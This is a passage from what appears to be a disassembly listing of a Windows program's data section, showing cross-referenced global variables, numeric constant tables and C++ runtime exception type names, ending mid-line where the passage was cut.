off_43CCF4 dd offset dword_544450 ; DATA XREF: ___:off_43CD38o dd 0Fh dup(0) off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D130 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1E21h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043375Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A48o dword_450050 dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384B8o dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438324o dd 569Ah dup(0) dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB020 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 4Eh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: 